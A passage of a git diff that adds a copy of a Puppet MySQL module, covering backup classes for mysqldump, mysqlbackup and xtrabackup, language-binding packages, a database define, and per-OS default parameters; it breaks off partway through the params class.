+msgid "MySQL usernames are limited to a maximum of 80 characters." +msgstr "" + +#: ./lib/puppet/type/mysql_user.rb:82 +msgid "" +"`tls_options` `property`: The values NONE, SSL and X509 cannot be used with " +"other options, you may only pick one of them." +msgstr "" + +#: ./lib/puppet/type/mysql_user.rb:87 +msgid "Invalid tls option %{option}." +msgstr "" diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp new file mode 100644 index 000000000..08a5cc1d7 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp @@ -0,0 +1,107 @@ +# See README.me for usage. +class mysql::backup::mysqlbackup ( + $backupuser = '', + $backuppassword = '', + $maxallowedpacket = '1M', + $backupdir = '', + $backupdirmode = '0700', + $backupdirowner = 'root', + $backupdirgroup = $mysql::params::root_group, + $backupcompress = true, + $backuprotate = 30, + $ignore_events = true, + $delete_before_dump = false, + $backupdatabases = [], + $file_per_database = false, + $include_triggers = true, + $include_routines = false, + $ensure = 'present', + $time = ['23', '5'], + $prescript = false, + $postscript = false, + $execpath = '/usr/bin:/usr/sbin:/bin:/sbin', + $optional_args = [], +) inherits mysql::params { + + mysql_user { "${backupuser}@localhost": + ensure => $ensure, + password_hash => mysql_password($backuppassword), + require => Class['mysql::server::root_password'], + } + + package { 'meb': + ensure => $ensure, + } + + # http://dev.mysql.com/doc/mysql-enterprise-backup/3.11/en/mysqlbackup.privileges.html + mysql_grant { "${backupuser}@localhost/*.*": + ensure => $ensure, + user => "${backupuser}@localhost", + table => '*.*', + privileges => [ 'RELOAD', 'SUPER', 'REPLICATION CLIENT' ], + require => Mysql_user["${backupuser}@localhost"], + } + + mysql_grant { "${backupuser}@localhost/mysql.backup_progress": + ensure => $ensure, + user => "${backupuser}@localhost", + table => 'mysql.backup_progress', + privileges => [ 'CREATE', 'INSERT', 'DROP', 'UPDATE' ], + require => Mysql_user["${backupuser}@localhost"], + } + + mysql_grant { "${backupuser}@localhost/mysql.backup_history": + ensure => $ensure, + user => "${backupuser}@localhost", + table => 'mysql.backup_history', + privileges => [ 'CREATE', 'INSERT', 'SELECT', 'DROP', 'UPDATE' ], + require => Mysql_user["${backupuser}@localhost"], + } + + cron { 'mysqlbackup-weekly': + ensure => $ensure, + command => 'mysqlbackup backup', + user => 'root', + hour => $time[0], + minute => $time[1], + weekday => '0', + require => Package['meb'], + } + + cron { 'mysqlbackup-daily': + ensure => $ensure, + command => 'mysqlbackup --incremental backup', + user => 'root', + hour => $time[0], + minute => $time[1], + weekday => '1-6', + require => Package['meb'], + } + + $default_options = { + 'mysqlbackup' => { + 'backup-dir' => $backupdir, + 'with-timestamp' => true, + 'incremental_base' => 'history:last_backup', + 'incremental_backup_dir' => $backupdir, + 'user' => $backupuser, + 'password' => $backuppassword, + } + } + $options = mysql_deepmerge($default_options, $mysql::server::override_options) + + file { 'mysqlbackup-config-file': + path => '/etc/mysql/conf.d/meb.cnf', + content => template('mysql/meb.cnf.erb'), + mode => '0600', + } + + file { 'mysqlbackupdir': + ensure => 'directory', + path => $backupdir, + mode => $backupdirmode, + owner => $backupdirowner, + group => $backupdirgroup, + } + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp new file mode 100644 index 000000000..e8988dfc4 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp @@ -0,0 +1,77 @@ +# See README.me for usage. +class mysql::backup::mysqldump ( + $backupuser = '', + $backuppassword = '', + $backupdir = '', + $maxallowedpacket = '1M', + $backupdirmode = '0700', + $backupdirowner = 'root', + $backupdirgroup = $mysql::params::root_group, + $backupcompress = true, + $backuprotate = 30, + $ignore_events = true, + $delete_before_dump = false, + $backupdatabases = [], + $file_per_database = false, + $include_triggers = false, + $include_routines = false, + $ensure = 'present', + $time = ['23', '5'], + $prescript = false, + $postscript = false, + $execpath = '/usr/bin:/usr/sbin:/bin:/sbin', + $optional_args = [], +) inherits mysql::params { + + if $backupcompress { + ensure_packages(['bzip2']) + Package['bzip2'] -> File['mysqlbackup.sh'] + } + + mysql_user { "${backupuser}@localhost": + ensure => $ensure, + password_hash => mysql_password($backuppassword), + require => Class['mysql::server::root_password'], + } + + if $include_triggers { + $privs = [ 'SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS', 'TRIGGER' ] + } else { + $privs = [ 'SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS' ] + } + + mysql_grant { "${backupuser}@localhost/*.*": + ensure => $ensure, + user => "${backupuser}@localhost", + table => '*.*', + privileges => $privs, + require => Mysql_user["${backupuser}@localhost"], + } + + cron { 'mysql-backup': + ensure => $ensure, + command => '/usr/local/sbin/mysqlbackup.sh', + user => 'root', + hour => $time[0], + minute => $time[1], + require => File['mysqlbackup.sh'], + } + + file { 'mysqlbackup.sh': + ensure => $ensure, + path => '/usr/local/sbin/mysqlbackup.sh', + mode => '0700', + owner => 'root', + group => $mysql::params::root_group, + content => template('mysql/mysqlbackup.sh.erb'), + } + + file { 'mysqlbackupdir': + ensure => 'directory', + path => $backupdir, + mode => $backupdirmode, + owner => $backupdirowner, + group => $backupdirgroup, + } + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp new file mode 100644 index 000000000..e0365588a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp @@ -0,0 +1,85 @@ +# See README.me for usage. +class mysql::backup::xtrabackup ( + $xtrabackup_package_name = $mysql::params::xtrabackup_package_name, + $backupuser = undef, + $backuppassword = undef, + $backupdir = '', + $maxallowedpacket = '1M', + $backupmethod = 'mysqldump', + $backupdirmode = '0700', + $backupdirowner = 'root', + $backupdirgroup = $mysql::params::root_group, + $backupcompress = true, + $backuprotate = 30, + $ignore_events = true, + $delete_before_dump = false, + $backupdatabases = [], + $file_per_database = false, + $include_triggers = true, + $include_routines = false, + $ensure = 'present', + $time = ['23', '5'], + $prescript = false, + $postscript = false, + $execpath = '/usr/bin:/usr/sbin:/bin:/sbin', + $optional_args = [], + $additional_cron_args = '' +) inherits mysql::params { + + package{ $xtrabackup_package_name: + ensure => $ensure, + } + + if $backupuser and $backuppassword { + mysql_user { "${backupuser}@localhost": + ensure => $ensure, + password_hash => mysql_password($backuppassword), + require => Class['mysql::server::root_password'], + } + + mysql_grant { "${backupuser}@localhost/*.*": + ensure => $ensure, + user => "${backupuser}@localhost", + table => '*.*', + privileges => [ 'RELOAD', 'PROCESS', 'LOCK TABLES', 'REPLICATION CLIENT' ], + require => Mysql_user["${backupuser}@localhost"], + } + } + + cron { 'xtrabackup-weekly': + ensure => $ensure, + command => "/usr/local/sbin/xtrabackup.sh ${backupdir} ${additional_cron_args}", + user => 'root', + hour => $time[0], + minute => $time[1], + weekday => '0', + require => Package[$xtrabackup_package_name], + } + + cron { 'xtrabackup-daily': + ensure => $ensure, + command => "/usr/local/sbin/xtrabackup.sh --incremental ${backupdir} ${additional_cron_args}", + user => 'root', + hour => $time[0], + minute => $time[1], + weekday => '1-6', + require => Package[$xtrabackup_package_name], + } + + file { 'mysqlbackupdir': + ensure => 'directory', + path => $backupdir, + mode => $backupdirmode, + owner => $backupdirowner, + group => $backupdirgroup, + } + + file { 'xtrabackup.sh': + ensure => $ensure, + path => '/usr/local/sbin/xtrabackup.sh', + mode => '0700', + owner => 'root', + group => $mysql::params::root_group, + content => template('mysql/xtrabackup.sh.erb'), + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp new file mode 100644 index 000000000..3fd9c74a3 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp @@ -0,0 +1,63 @@ +# See README.md. +class mysql::bindings ( + $install_options = undef, + # Boolean to determine if we should include the classes. + $java_enable = false, + $perl_enable = false, + $php_enable = false, + $python_enable = false, + $ruby_enable = false, + $client_dev = false, + $daemon_dev = false, + # Settings for the various classes. + $java_package_ensure = $mysql::params::java_package_ensure, + $java_package_name = $mysql::params::java_package_name, + $java_package_provider = $mysql::params::java_package_provider, + $perl_package_ensure = $mysql::params::perl_package_ensure, + $perl_package_name = $mysql::params::perl_package_name, + $perl_package_provider = $mysql::params::perl_package_provider, + $php_package_ensure = $mysql::params::php_package_ensure, + $php_package_name = $mysql::params::php_package_name, + $php_package_provider = $mysql::params::php_package_provider, + $python_package_ensure = $mysql::params::python_package_ensure, + $python_package_name = $mysql::params::python_package_name, + $python_package_provider = $mysql::params::python_package_provider, + $ruby_package_ensure = $mysql::params::ruby_package_ensure, + $ruby_package_name = $mysql::params::ruby_package_name, + $ruby_package_provider = $mysql::params::ruby_package_provider, + $client_dev_package_ensure = $mysql::params::client_dev_package_ensure, + $client_dev_package_name = $mysql::params::client_dev_package_name, + $client_dev_package_provider = $mysql::params::client_dev_package_provider, + $daemon_dev_package_ensure = $mysql::params::daemon_dev_package_ensure, + $daemon_dev_package_name = $mysql::params::daemon_dev_package_name, + $daemon_dev_package_provider = $mysql::params::daemon_dev_package_provider +) inherits mysql::params { + + case $::osfamily { + 'Archlinux': { + if $java_enable { fail(translate('::mysql::bindings::java cannot be managed by puppet on %{osfamily} + as it is not in official repositories. Please disable java mysql binding.', + {'osfamily' => $::osfamily })) } + if $perl_enable { include '::mysql::bindings::perl' } + if $php_enable { warning(translate('::mysql::bindings::php does not need to be managed by puppet on %{osfamily} + as it is included in mysql package by default.', + {'osfamily' => $::osfamily })) } + if $python_enable { include '::mysql::bindings::python' } + if $ruby_enable { fail(translate('::mysql::bindings::ruby cannot be managed by puppet on %{osfamily} + as it is not in official repositories. Please disable ruby mysql binding.', + {'osfamily' => $::osfamily } )) } + } + + default: { + if $java_enable { include '::mysql::bindings::java' } + if $perl_enable { include '::mysql::bindings::perl' } + if $php_enable { include '::mysql::bindings::php' } + if $python_enable { include '::mysql::bindings::python' } + if $ruby_enable { include '::mysql::bindings::ruby' } + } + } + + if $client_dev { include '::mysql::bindings::client_dev' } + if $daemon_dev { include '::mysql::bindings::daemon_dev' } + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp new file mode 100644 index 000000000..dc249e158 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp @@ -0,0 +1,15 @@ +# Private class +class mysql::bindings::client_dev { + + if $mysql::bindings::client_dev_package_name { + package { 'mysql-client_dev': + ensure => $mysql::bindings::client_dev_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::client_dev_package_name, + provider => $mysql::bindings::client_dev_package_provider, + } + } else { + warning(translate('No MySQL client development package configured for %{os}.', {'os' => $::operatingsystem })) + } + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp new file mode 100644 index 000000000..44caaafc1 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp @@ -0,0 +1,15 @@ +# Private class +class mysql::bindings::daemon_dev { + + if $mysql::bindings::daemon_dev_package_name { + package { 'mysql-daemon_dev': + ensure => $mysql::bindings::daemon_dev_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::daemon_dev_package_name, + provider => $mysql::bindings::daemon_dev_package_provider, + } + } else { + warning(translate('No MySQL daemon development package configured for %{os}.', {'os' => $::operatingsystem })) + } + +} diff --git a/modules/services/unix/database/mysql/manifests/bindings/java.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/java.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/java.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/java.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/perl.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/perl.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/perl.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/perl.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/php.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/php.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/php.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/php.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/python.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/python.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/python.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/python.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/ruby.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/ruby.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/ruby.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/ruby.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp new file mode 100644 index 000000000..2af2351d3 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp @@ -0,0 +1,27 @@ +# +class mysql::client ( + $bindings_enable = $mysql::params::bindings_enable, + $install_options = undef, + $package_ensure = $mysql::params::client_package_ensure, + $package_manage = $mysql::params::client_package_manage, + $package_name = $mysql::params::client_package_name, +) inherits mysql::params { + + include '::mysql::client::install' + + if $bindings_enable { + class { 'mysql::bindings': + java_enable => true, + perl_enable => true, + php_enable => true, + python_enable => true, + ruby_enable => true, + } + } + + # Anchor pattern workaround to avoid resources of mysql::client::install to + # "float off" outside mysql::client + anchor { 'mysql::client::start': } + -> Class['mysql::client::install'] + -> anchor { 'mysql::client::end': } +} diff --git a/modules/services/unix/database/mysql/manifests/client/install.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client/install.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/client/install.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client/install.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp new file mode 100644 index 000000000..6b6c39b9b --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp @@ -0,0 +1,65 @@ +# See README.md for details. +define mysql::db ( + $user, + $password, + $dbname = $name, + $charset = 'utf8', + $collate = 'utf8_general_ci', + $host = 'localhost', + $grant = 'ALL', + Optional[Variant[Array, Hash, String]] $sql = undef, + $enforce_sql = false, + Enum['absent', 'present'] $ensure = 'present', + $import_timeout = 300, + $import_cat_cmd = 'cat', +) { + #input validation + $table = "${dbname}.*" + + $sql_inputs = join([$sql], ' ') + + include '::mysql::client' + + $db_resource = { + ensure => $ensure, + charset => $charset, + collate => $collate, + provider => 'mysql', + require => [ Class['mysql::client'] ], + } + ensure_resource('mysql_database', $dbname, $db_resource) + + $user_resource = { + ensure => $ensure, + password_hash => mysql_password($password), + } + ensure_resource('mysql_user', "${user}@${host}", $user_resource) + + if $ensure == 'present' { + mysql_grant { "${user}@${host}/${table}": + privileges => $grant, + provider => 'mysql', + user => "${user}@${host}", + table => $table, + require => [ + Mysql_database[$dbname], + Mysql_user["${user}@${host}"], + ], + } + + $refresh = ! $enforce_sql + + if $sql { + exec{ "${dbname}-import": + command => "${import_cat_cmd} ${sql_inputs} | mysql ${dbname}", + logoutput => true, + environment => "HOME=${::root_home}", + refreshonly => $refresh, + path => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin', + require => Mysql_grant["${user}@${host}/${table}"], + subscribe => Mysql_database[$dbname], + timeout => $import_timeout, + } + } + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp new file mode 100644 index 000000000..9de66a983 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp @@ -0,0 +1,498 @@ +# Private class: See README.md. +class mysql::params { + + $manage_config_file = true + $purge_conf_dir = false + $restart = false + $root_password = 'UNSET' + $install_secret_file = '/.mysql_secret' + $server_package_ensure = 'present' + $server_package_manage = true + $server_service_manage = true + $server_service_enabled = true + $client_package_ensure = 'present' + $client_package_manage = true + $create_root_user = true + $create_root_my_cnf = true + # mysql::bindings + $bindings_enable = false + $java_package_ensure = 'present' + $java_package_provider = undef + $perl_package_ensure = 'present' + $perl_package_provider = undef + $php_package_ensure = 'present' + $php_package_provider = undef + $python_package_ensure = 'present' + $python_package_provider = undef + $ruby_package_ensure = 'present' + $ruby_package_provider = undef + $client_dev_package_ensure = 'present' + $client_dev_package_provider = undef + $daemon_dev_package_ensure = 'present' + $daemon_dev_package_provider = undef + $xtrabackup_package_name = 'percona-xtrabackup' + + + case $::osfamily { + 'RedHat': { + case $::operatingsystem { + 'Fedora': { + if versioncmp($::operatingsystemrelease, '19') >= 0 or $::operatingsystemrelease == 'Rawhide' { + $provider = 'mariadb' + } else { + $provider = 'mysql' + } + } + /^(RedHat|CentOS|Scientific|OracleLinux)$/: { + if versioncmp($::operatingsystemmajrelease, '7') >= 0 { + $provider = 'mariadb' + } else { + $provider = 'mysql' + } + } + default: { + $provider = 'mysql' + } + } + + if $provider == 'mariadb' { + $client_package_name = 'mariadb' + $server_package_name = 'mariadb-server' + $server_service_name = 'mariadb' + $log_error = '/var/log/mariadb/mariadb.log' + $config_file = '/etc/my.cnf.d/server.cnf' + # mariadb package by default has !includedir set in my.cnf to /etc/my.cnf.d + $includedir = undef + $pidfile = '/var/run/mariadb/mariadb.pid' + $daemon_dev_package_name = 'mariadb-devel' + } else { + $client_package_name = 'mysql' + $server_package_name = 'mysql-server' + $server_service_name = 'mysqld' + $log_error = '/var/log/mysqld.log' + $config_file = '/etc/my.cnf' + $includedir = '/etc/my.cnf.d' + $pidfile = '/var/run/mysqld/mysqld.pid' + $daemon_dev_package_name = 'mysql-devel' + } + + $basedir = '/usr' + $datadir = '/var/lib/mysql' + $root_group = 'root' + $mysql_group = 'mysql' + $socket = '/var/lib/mysql/mysql.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'mysql-connector-java' + $perl_package_name = 'perl-DBD-MySQL' + $php_package_name = 'php-mysql' + $python_package_name = 'MySQL-python' + $ruby_package_name = 'ruby-mysql' + $client_dev_package_name = undef + } + + 'Suse': { + case $::operatingsystem { + 'OpenSuSE': { + if versioncmp( $::operatingsystemmajrelease, '12' ) >= 0 { + $client_package_name = 'mariadb-client' + $server_package_name = 'mariadb' + # First service start fails if this is set. Runs fine without + # it being set, in any case. Leaving it as-is for the mysql. + $basedir = undef + } else { + $client_package_name = 'mysql-community-server-client' + $server_package_name = 'mysql-community-server' + $basedir = '/usr' + } + } + 'SLES','SLED': { + if versioncmp($::operatingsystemrelease, '12') >= 0 { + $client_package_name = 'mariadb-client' + $server_package_name = 'mariadb' + $basedir = undef + } else { + $client_package_name = 'mysql-client' + $server_package_name = 'mysql' + $basedir = '/usr' + } + } + default: { + fail(translate('Unsupported platform: puppetlabs-%{module_name} currently doesn\'t support %{os}.', + {'module_name' => $module_name, 'os' => $::operatingsystem })) + } + } + $config_file = '/etc/my.cnf' + $includedir = '/etc/my.cnf.d' + $datadir = '/var/lib/mysql' + $log_error = $::operatingsystem ? { + /OpenSuSE/ => '/var/log/mysql/mysqld.log', + /(SLES|SLED)/ => '/var/log/mysqld.log', + } + $pidfile = $::operatingsystem ? { + /OpenSuSE/ => '/var/run/mysql/mysqld.pid', + /(SLES|SLED)/ => '/var/lib/mysql/mysqld.pid', + } + $root_group = 'root' + $mysql_group = 'mysql' + $server_service_name = 'mysql' + + if $::operatingsystem =~ /(SLES|SLED)/ { + if versioncmp( $::operatingsystemmajrelease, '12' ) >= 0 { + $socket = '/run/mysql/mysql.sock' + } else { + $socket = '/var/lib/mysql/mysql.sock' + } + } else { + $socket = '/var/run/mysql/mysql.sock' + } + + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'mysql-connector-java' + $perl_package_name = 'perl-DBD-mysql' + $php_package_name = 'apache2-mod_php53' + $python_package_name = 'python-mysql' + $ruby_package_name = $::operatingsystem ? { + /OpenSuSE/ => 'rubygem-mysql', + /(SLES|SLED)/ => 'ruby-mysql', + } + $client_dev_package_name = 'libmysqlclient-devel' + $daemon_dev_package_name = 'mysql-devel' + } + + 'Debian': { + if $::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') >= 0 { + $provider = 'mariadb' + } else { + $provider = 'mysql' + } + + if $provider == 'mariadb' { + $client_package_name = 'mariadb-client' + $server_package_name = 'mariadb-server' + $server_service_name = 'mariadb' + $client_dev_package_name = 'libmariadbclient-dev' + $daemon_dev_package_name = 'libmariadbd-dev' + } else { + $client_package_name = 'mysql-client' + $server_package_name = 'mysql-server' + $server_service_name = 'mysql' + $client_dev_package_name = 'libmysqlclient-dev' + $daemon_dev_package_name = 'libmysqld-dev' + } + + $basedir = '/usr' + $config_file = '/etc/mysql/my.cnf' + $includedir = '/etc/mysql/conf.d' + $datadir = '/var/lib/mysql' + $log_error = '/var/log/mysql/error.log' + $pidfile = '/var/run/mysqld/mysqld.pid' + $root_group = 'root' + $mysql_group = 'adm' + $socket = '/var/run/mysqld/mysqld.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'libmysql-java' + $perl_package_name = 'libdbd-mysql-perl' + if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '16.04') >= 0) or + ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') >= 0) { + $php_package_name = 'php-mysql' + } else { + $php_package_name = 'php5-mysql' + } + $python_package_name = 'python-mysqldb' + $ruby_package_name = $::lsbdistcodename ? { + 'jessie' => 'ruby-mysql', + 'stretch' => 'ruby-mysql2', + 'trusty' => 'ruby-mysql', + 'xenial' => 'ruby-mysql', + default => 'libmysql-ruby', + } + } + + 'Archlinux': { + $client_package_name = 'mariadb-clients' + $server_package_name = 'mariadb' + $basedir = '/usr' + $config_file = '/etc/mysql/my.cnf' + $datadir = '/var/lib/mysql' + $log_error = '/var/log/mysqld.log' + $pidfile = '/var/run/mysqld/mysqld.pid' + $root_group = 'root' + $mysql_group = 'mysql' + $server_service_name = 'mysqld' + $socket = '/var/lib/mysql/mysql.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'mysql-connector-java' + $perl_package_name = 'perl-dbd-mysql' + $php_package_name = undef + $python_package_name = 'mysql-python' + $ruby_package_name = 'mysql-ruby' + } + + 'Gentoo': { + $client_package_name = 'virtual/mysql' + $server_package_name = 'virtual/mysql' + $basedir = '/usr' + $config_file = '/etc/mysql/my.cnf' + $datadir = '/var/lib/mysql' + $log_error = '/var/log/mysql/mysqld.err' + $pidfile = '/run/mysqld/mysqld.pid' + $root_group = 'root' + $mysql_group = 'mysql' + $server_service_name = 'mysql' + $socket = '/run/mysqld/mysqld.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'dev-java/jdbc-mysql' + $perl_package_name = 'dev-perl/DBD-mysql' + $php_package_name = undef + $python_package_name = 'dev-python/mysql-python' + $ruby_package_name = 'dev-ruby/mysql-ruby' + } + + 'FreeBSD': { + $client_package_name = 'databases/mysql56-client' + $server_package_name = 'databases/mysql56-server' + $basedir = '/usr/local' + $config_file = '/usr/local/etc/my.cnf' + $includedir = '/usr/local/etc/my.cnf.d' + $datadir = '/var/db/mysql' + $log_error = '/var/log/mysqld.log' + $pidfile = '/var/run/mysql.pid' + $root_group = 'wheel' + $mysql_group = 'mysql' + $server_service_name = 'mysql-server' + $socket = '/var/db/mysql/mysql.sock' + $ssl_ca = undef + $ssl_cert = undef + $ssl_key = undef + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'databases/mysql-connector-java' + $perl_package_name = 'p5-DBD-mysql' + $php_package_name = 'php5-mysql' + $python_package_name = 'databases/py-MySQLdb' + $ruby_package_name = 'databases/ruby-mysql' + # The libraries installed by these packages are included in client and server packages, no installation required. + $client_dev_package_name = undef + $daemon_dev_package_name = undef + } + + 'OpenBSD': { + $client_package_name = 'mariadb-client' + $server_package_name = 'mariadb-server' + $basedir = '/usr/local' + $config_file = '/etc/my.cnf' + $includedir = undef + $datadir = '/var/mysql' + $log_error = "/var/mysql/${::hostname}.err" + $pidfile = '/var/mysql/mysql.pid' + $root_group = 'wheel' + $mysql_group = '_mysql' + $server_service_name = 'mysqld' + $socket = '/var/run/mysql/mysql.sock' + $ssl_ca = undef + $ssl_cert = undef + $ssl_key = undef + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = undef + $perl_package_name = 'p5-DBD-mysql' + $php_package_name = 'php-mysql' + $python_package_name = 'py-mysql' + $ruby_package_name = 'ruby-mysql' + # The libraries installed by these packages are included in client and server packages, no installation required. + $client_dev_package_name = undef + $daemon_dev_package_name = undef + } + + 'Solaris': { + $client_package_name = 'database/mysql-55/client' + $server_package_name = 'database/mysql-55' + $basedir = undef + $config_file = '/etc/mysql/5.5/my.cnf' + $datadir = '/var/mysql/5.5/data' + $log_error = "/var/mysql/5.5/data/${::hostname}.err" + $pidfile = "/var/mysql/5.5/data/${::hostname}.pid" + $root_group = 'bin' + $server_service_name = 'application/database/mysql:version_55' + $socket = '/tmp/mysql.sock' + $ssl_ca = undef + $ssl_cert = undef + $ssl_key = undef + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = undef + $perl_package_name = undef + $php_package_name = 'web/php-53/extension/php-mysql' + $python_package_name = 'library/python/python-mysql' + $ruby_package_name = undef + # The libraries installed by these packages are included in client and server packages, no installation required. + $client_dev_package_name = undef + $daemon_dev_package_name = undef + } + + default: { + case $::operatingsystem { + 'Alpine': { + $client_package_name = 'mariadb-client' + $server_package_name = 'mariadb' + $basedir = '/usr' + $config_file = '/etc/mysql/my.cnf' + $datadir = '/var/lib/mysql' + $log_error = '/var/log/mysqld.log' + $pidfile = '/run/mysqld/mysqld.pid' + $root_group = 'root' + $mysql_group = 'mysql' + $server_service_name = 'mariadb' + $socket = '/run/mysqld/mysqld.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + $java_package_name = undef + $perl_package_name = 'perl-dbd-mysql' + $php_package_name = 'php7-mysqlnd' + $python_package_name = 'py-mysqldb' + $ruby_package_name = undef + $client_dev_package_name = undef + $daemon_dev_package_name = undef + } + 'Amazon': { + $client_package_name = 'mysql' + $server_package_name = 'mysql-server' + $basedir = '/usr' + $config_file = '/etc/my.cnf' + $includedir = '/etc/my.cnf.d' + $datadir = '/var/lib/mysql' + $log_error = '/var/log/mysqld.log' + $pidfile = '/var/run/mysqld/mysqld.pid' + $root_group = 'root' + $mysql_group = 'mysql' + $server_service_name = 'mysqld' + $socket = '/var/lib/mysql/mysql.sock' + $ssl_ca = '/etc/mysql/cacert.pem' + $ssl_cert = '/etc/mysql/server-cert.pem' + $ssl_key = '/etc/mysql/server-key.pem' + $tmpdir = '/tmp' + # mysql::bindings + $java_package_name = 'mysql-connector-java' + $perl_package_name = 'perl-DBD-MySQL' + $php_package_name = 'php-mysql' + $python_package_name = 'MySQL-python' + $ruby_package_name = 'ruby-mysql' + # The libraries installed by these packages are included in client and server packages, no installation required. + $client_dev_package_name = undef + $daemon_dev_package_name = undef + } + + default: { + fail(translate('Unsupported platform: puppetlabs-%{module_name} currently doesn\'t support %{osfamily} or %{os}.', + {'module_name' => $module_name, 'os' => $::operatingsystem, 'osfamily' => $::osfamily})) + } + } + } + } + + case $::operatingsystem { + 'Ubuntu': { + # lint:ignore:only_variable_string + if versioncmp("${::operatingsystemmajrelease}", '14.10') > 0 { + # lint:endignore + $server_service_provider = 'systemd' + } else { + $server_service_provider = 'upstart' + } + } + 'Alpine': { + $server_service_provider = 'rc-service' + } + default: { + $server_service_provider = undef + } + } + + $default_options = { + 'client' => { + 'port' => '3306', + 'socket' => $mysql::params::socket, + }, + 'mysqld_safe' => { + 'nice' => '0', + 'log-error' => $mysql::params::log_error, + 'socket' => $mysql::params::socket, + }, + 'mysqld-5.0' => { + 'myisam-recover' => 'BACKUP', + }, + 'mysqld-5.1' => { + 